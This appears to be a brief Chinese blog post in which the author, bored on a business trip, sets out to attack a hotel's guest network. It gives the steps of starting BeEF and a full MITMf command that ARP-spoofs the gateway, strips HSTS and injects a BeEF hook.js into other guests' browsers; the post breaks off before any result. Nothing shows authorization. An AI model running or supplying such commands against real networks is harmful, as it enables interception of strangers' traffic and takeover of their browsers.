出差,晚上闲着无聊。
于是想撸一撸酒店的内网,但是之前已经撸过很长时间了,这个地方的重要系统都做了隔离,不好撸,所以就玩玩中间人攻击好了。
用的工具:
1 | OS Debian 8 |
先启动beef,直接在beef的目录下面./beef就运行了。

然后启动MITMF,进行中间人攻击,设置payload为beef的evil js
1 | python mitmf.py -i wlan0 --spoof --arp --gateway 192.168.64.254 --hsts --inject --js-url http://192.168.71.0:3000/hook.js |

然后就。。。
